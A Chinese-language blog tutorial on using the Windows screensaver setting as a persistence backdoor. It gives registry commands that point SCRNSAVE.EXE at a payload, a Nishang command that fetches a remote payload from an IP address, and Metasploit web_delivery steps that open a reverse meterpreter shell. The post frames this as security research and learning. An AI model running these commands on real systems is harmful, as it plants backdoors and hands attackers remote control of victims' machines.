windows屏幕保护程序之漏洞

羌俊恩 社区创始人
运维领域优质创作者
博客专家认证
2025-05-14 10:55:54

一、前言

屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周知,Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。利用屏幕保护程序的持久性技术的问题在于,当用户返回并且系统未处于空闲模式时,会话将中断。但是,红队可以在用户不在时执行攻击操作。如果屏幕保护程序被组策略禁用,则该技术不能用于持久性。本文仅用于安全研究和学习之用,更多参看:原文

二、漏洞利用

屏幕保护程序设置存储在注册表中:

HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut

由于.scr文件本质上是可执行文件,可以通过命令提示符或从PowerShell控制台修改或添加注册表项,因此两个扩展名都可以用于后门植入。 

1)利用屏保程序Meterpreter:

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.exe
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.scr
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.exe'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.scr'

 执行上述命令后,一旦你的机器不活动时间段过去,将执行任意有效载荷,并且将再次建立命令和控制的通信。

2)利用屏保程序Nishang, Nishang框架包含一个PowerShell脚本,该脚本也可以执行此攻击,但与上述方法相比,它需要管理员级别的特权,因为它需要在本地计算机中使用注册表项来存储将执行远程托管有效负载的PowerShell命令,且它不会接触磁盘。

Import-Module .\Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO

 

 之后,使用Metasploit Web交付模块生成并托管PowerShell负载。一旦用户会话变为空闲,屏幕保护程序将执行PowerShell负载,然后将打开一个meterpreter会话。

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP_Address
set target 2
exploit

 

...全文
15 回复 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

129,248

社区成员

发帖
与我相关
我的任务
社区描述
欢迎各位小伙伴积极活跃投稿,将日常IT打怪中遇到的问题,优秀解决方案,或自己的博客认为比较经典的文章分享到这里,共同营造一个悦享的问题库,Review及减少重复造车轮的无限循环,此致敬礼
devops经验分享开源 技术论坛(原bbs) 北京·西城区
社区管理员
  • 羌俊恩
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

本社区:旨在推进运维云化知识库建设,为更多运维提供参考及经验交流;加入社区的同学,如果运维工作中遇到问题或最后得到解决,有劳凑空发帖,分享共建FAQ社区。

得到解决方案的同学,请积极为发帖的同学点赞、评论、能力范围内打赏激励。另外本社区采用游戏修仙角色作为鼓励,对不同贡献者授予对应“勋章”。

最后祝愿社区繁荣昌盛,此致敬礼!!!

试试用AI创作助手写篇文章吧